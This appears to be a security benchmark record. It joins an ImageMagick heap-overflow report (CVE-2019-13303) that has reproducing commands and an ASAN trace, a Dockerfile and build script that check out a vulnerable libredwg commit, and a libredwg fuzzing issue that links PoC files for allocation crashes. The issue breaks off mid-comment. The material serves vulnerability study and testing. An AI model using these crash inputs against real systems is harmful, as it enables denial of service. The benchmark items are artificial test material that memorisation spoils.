`magick -seed 0 -sampling-factor 3.307x3.198 "(" magick:granite +repage ")" "(" magick:rose +repage ")" "(" magick:rose +repage ")" -encoding AdobeStandard -extract 285x52^-70-70 -region 75x310-64-51 -evaluate-sequence Min -layers compare-overlay tmp`
and run this cmd:
`magick -seed 0 "(" magick:logo -region 306%-74-69 -lat 886 ")" "(" magick:netscape -level 64 ")" "(" magick:granite -opaque rgb"("12,57,57")" -modulate 94,59,3 -frame 4%-82+23 ")" -comment "B>%C%o" -style Any -layers compare-any tmp`
Here's ASAN result.
```
==5479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000008900 at pc 0x7f9c528f0e7d bp 0x7ffd8cc41710 sp 0x7ffd8cc41708
READ of size 4 at 0x626000008900 thread T0
#0 0x7f9c528f0e7c in CompositeImage MagickCore/composite.c:666:45
#1 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#2 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#3 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#4 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x626000008900 is located 0 bytes to the right of 10240-byte region [0x626000006100,0x626000008900)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c52b54f66 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c528abd5c in AcquireCacheNexusPixels MagickCore/cache.c:4968:37
#3 0x7f9c528991c4 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12
#4 0x7f9c52890b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10
#5 0x7f9c528aef36 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10
#6 0x7f9c528f0bae in CompositeImage MagickCore/composite.c:637:11
#7 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#8 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#9 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#10 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/composite.c:666:45 in CompositeImage
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-18 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
Comments:
Comment by urban-warrior on 2019-06-18 18:15:31+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by nohmask on 2019-07-08 01:51:18+00:00:
This was assigned CVE-2019-13303.
|
[] |
[
{
"sha": "d29148fae06c01ef215940e084cf41853c117bab",
"url": "https://github.com/ImageMagick/ImageMagick/commit/d29148fae06c01ef215940e084cf41853c117bab"
}
] |
libredwg.cve-2019-20011
|
libredwg/libredwg
|
261d13c6f91e9526fb4a4c26dd1586faf8f70f1e
| 2019-11-07T10:33:45
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 261d13c6f91e9526fb4a4c26dd1586faf8f70f1e
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/2) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/176
## Description:
Issue: LibreDWG/libredwg#176
Title: Several bugs found by fuzzing
State: closed
Created by: linhlhq
Created at: 2019-12-24 03:44:32+00:00
Labels: bug, fuzzing
Issue Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
Comments:
Comment by linhlhq on 2019-12-24 03:45:01+00:00:
**2.Crafted input will lead to Memory allocation failed in dwg_decode_LWPOLYLINE_private (src/dwg.spec:4105)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000003%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:43812
ASAN says:
```
==25389==ERROR: AddressSanitizer failed to allocate 0xc9459a000 (54028509184) bytes of LargeMmapAllocator (error code: 12)
==25389==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x5557879cb000-0x555788ebf000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557890bf000-0x5557890d7000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557890d7000-0x5557891bb000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x5557891bb000-0x5557891bf000
....
0x7fbd7b8fb000-0x7fbd7dc4d000
0x7fbd7dc4d000-0x7fbd7dc64000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7dc64000-0x7fbd7de63000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de63000-0x7fbd7de64000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de64000-0x7fbd7de65000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fbd7de65000-0x7fbd7de7f000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7de7f000-0x7fbd7e07e000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e07e000-0x7fbd7e07f000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e07f000-0x7fbd7e080000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fbd7e080000-0x7fbd7e084000
0x7fbd7e084000-0x7fbd7e08b000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e08b000-0x7fbd7e28a000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28a000-0x7fbd7e28b000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28b000-0x7fbd7e28c000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fbd7e28c000-0x7fbd7e28f000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e28f000-0x7fbd7e48e000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e48e000-0x7fbd7e48f000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e48f000-0x7fbd7e490000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fbd7e490000-0x7fbd7e677000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e677000-0x7fbd7e877000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e877000-0x7fbd7e87b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e87b000-0x7fbd7e87d000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbd7e87d000-0x7fbd7e881000
0x7fbd7e881000-0x7fbd7ea1e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ea1e000-0x7fbd7ec1d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1d000-0x7fbd7ec1e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1e000-0x7fbd7ec1f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fbd7ec1f000-0x7fbd7ed6f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ed6f000-0x7fbd7ef6f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef6f000-0x7fbd7ef72000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef72000-0x7fbd7ef75000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fbd7ef75000-0x7fbd7fbda000
0x7fbd7fbda000-0x7fbd7fc01000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fc6d000-0x7fbd7fdf7000
0x7fbd7fdf7000-0x7fbd7fe01000
0x7fbd7fe01000-0x7fbd7fe02000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fe02000-0x7fbd7fe03000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbd7fe03000-0x7fbd7fe04000
0x7ffe9b3e2000-0x7ffe9b403000 [stack]
0x7ffe9b56a000-0x7ffe9b56d000 [vvar]
0x7ffe9b56d000-0x7ffe9b56f000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==25389==End of process memory map.
==25389==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fbd7ed08c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fbd7ed27595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fbd7ed12492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fbd7ed1e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fbd7ec4b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fbd7ec4604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fbd7ecfdd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55578802f729 in dwg_decode_LWPOLYLINE_private ../../src/dwg.spec:4105
#8 0x555788038884 in dwg_decode_LWPOLYLINE ../../src/dwg.spec:4029
#9 0x5557883c72f6 in dwg_decode_add_object ../../src/decode.c:4905
#10 0x5557883daf28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55578840d61a in dwg_decode ../../src/decode.c:239
#12 0x555787daff7a in dwg_read_file ../../src/dwg.c:206
#13 0x555787dae32d in main ../../programs/dwg2dxf.c:255
#14 0x7fbd7e4b1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x555787daf2e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:45:15+00:00:
**3.Crafted input will lead to Memory allocation failed in decode_3dsolid (src/dwg.spec:1801)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000006%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46085
ASAN says:
```
==833==ERROR: AddressSanitizer failed to allocate 0x7f940f9000 (547944894464) bytes of LargeMmapAllocator (error code: 12)
==833==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x562cd50b0000-0x562cd65a4000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67a4000-0x562cd67bc000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67bc000-0x562cd68a0000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd68a0000-0x562cd68a4000
....
0x7f7e1e3c9000-0x7f7e2071b000
0x7f7e2071b000-0x7f7e20732000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20732000-0x7f7e20931000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20931000-0x7f7e20932000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20932000-0x7f7e20933000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20933000-0x7f7e2094d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e2094d000-0x7f7e20b4c000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4c000-0x7f7e20b4d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4d000-0x7f7e20b4e000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4e000-0x7f7e20b52000
0x7f7e20b52000-0x7f7e20b59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20b59000-0x7f7e20d58000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d58000-0x7f7e20d59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d59000-0x7f7e20d5a000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d5a000-0x7f7e20d5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20d5d000-0x7f7e20f5c000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5c000-0x7f7e20f5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5d000-0x7f7e20f5e000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5e000-0x7f7e21145000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21145000-0x7f7e21345000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21345000-0x7f7e21349000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21349000-0x7f7e2134b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e2134b000-0x7f7e2134f000
0x7f7e2134f000-0x7f7e214ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e214ec000-0x7f7e216eb000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216eb000-0x7f7e216ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ec000-0x7f7e216ed000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ed000-0x7f7e2183d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e2183d000-0x7f7e21a3d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a3d000-0x7f7e21a40000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a40000-0x7f7e21a43000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a43000-0x7f7e226a8000
0x7f7e226a8000-0x7f7e226cf000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e2273b000-0x7f7e228c5000
0x7f7e228c5000-0x7f7e228cf000
0x7f7e228cf000-0x7f7e228d0000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d0000-0x7f7e228d1000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d1000-0x7f7e228d2000
0x7ffec2458000-0x7ffec2479000 [stack]
0x7ffec24f6000-0x7ffec24f9000 [vvar]
0x7ffec24f9000-0x7ffec24fb000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==833==End of process memory map.
==833==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f7e217d6c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f7e217f5595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f7e217e0492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f7e217ec8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f7e217198f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f7e2171404b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7f7e217cbd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x562cd58a523f in decode_3dsolid ../../src/dwg.spec:1801
#8 0x562cd58c27dc in dwg_decode_REGION_private ../../src/dwg.spec:2042
#9 0x562cd58c3123 in dwg_decode_REGION ../../src/dwg.spec:2040
#10 0x562cd5aa9c06 in dwg_decode_add_object ../../src/decode.c:4741
#11 0x562cd5abff28 in decode_R13_R2000 ../../src/decode.c:1216
#12 0x562cd5af261a in dwg_decode ../../src/decode.c:239
#13 0x562cd5494f7a in dwg_read_file ../../src/dwg.c:206
#14 0x562cd549332d in main ../../programs/dwg2dxf.c:255
#15 0x7f7e20f7fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#16 0x562cd54942e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:45:28+00:00:
**4.Crafted input will lead to Memory allocation failed in dwg_decode_HATCH_private (src/dwg.spec:3774)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000009%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:47573
ASAN says:
```
==27930==ERROR: AddressSanitizer failed to allocate 0xc7b60b000 (53609541632) bytes of LargeMmapAllocator (error code: 12)
==27930==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x5572ffa32000-0x557300f26000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x557301126000-0x55730113e000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55730113e000-0x557301222000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x557301222000-0x557301226000
....
0x7f1f63cfe000-0x7f1f66050000
0x7f1f66050000-0x7f1f66067000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66067000-0x7f1f66266000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66266000-0x7f1f66267000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66267000-0x7f1f66268000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f1f66268000-0x7f1f66282000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66282000-0x7f1f66481000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66481000-0x7f1f66482000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66482000-0x7f1f66483000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f1f66483000-0x7f1f66487000
0x7f1f66487000-0x7f1f6648e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6648e000-0x7f1f6668d000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668d000-0x7f1f6668e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668e000-0x7f1f6668f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f1f6668f000-0x7f1f66692000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66692000-0x7f1f66891000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66891000-0x7f1f66892000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66892000-0x7f1f66893000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f1f66893000-0x7f1f66a7a000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66a7a000-0x7f1f66c7a000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c7a000-0x7f1f66c7e000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c7e000-0x7f1f66c80000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1f66c80000-0x7f1f66c84000
0x7f1f66c84000-0x7f1f66e21000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f66e21000-0x7f1f67020000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67020000-0x7f1f67021000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67021000-0x7f1f67022000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f1f67022000-0x7f1f67172000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67172000-0x7f1f67372000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67372000-0x7f1f67375000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67375000-0x7f1f67378000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f1f67378000-0x7f1f67fdd000
0x7f1f67fdd000-0x7f1f68004000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68070000-0x7f1f681fa000
0x7f1f681fa000-0x7f1f68204000
0x7f1f68204000-0x7f1f68205000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68205000-0x7f1f68206000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1f68206000-0x7f1f68207000
0x7fffaaf12000-0x7fffaaf33000 [stack]
0x7fffaafac000-0x7fffaafaf000 [vvar]
0x7fffaafaf000-0x7fffaafb1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==27930==End of process memory map.
==27930==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f1f6710bc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f1f6712a595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f1f67115492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f1f671218a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f1f6704e8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f1f6704904b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7f1f67100d00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x5573003a30c8 in dwg_decode_HATCH_private ../../src/dwg.spec:3774
#8 0x5573003ca0fb in dwg_decode_HATCH ../../src/dwg.spec:3641
#9 0x557300430ce6 in dwg_decode_add_object ../../src/decode.c:4908
#10 0x557300441f28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55730047461a in dwg_decode ../../src/decode.c:239
#12 0x5572ffe16f7a in dwg_read_file ../../src/dwg.c:206
#13 0x5572ffe1532d in main ../../programs/dwg2dxf.c:255
#14 0x7f1f668b4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x5572ffe162e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:46:08+00:00:
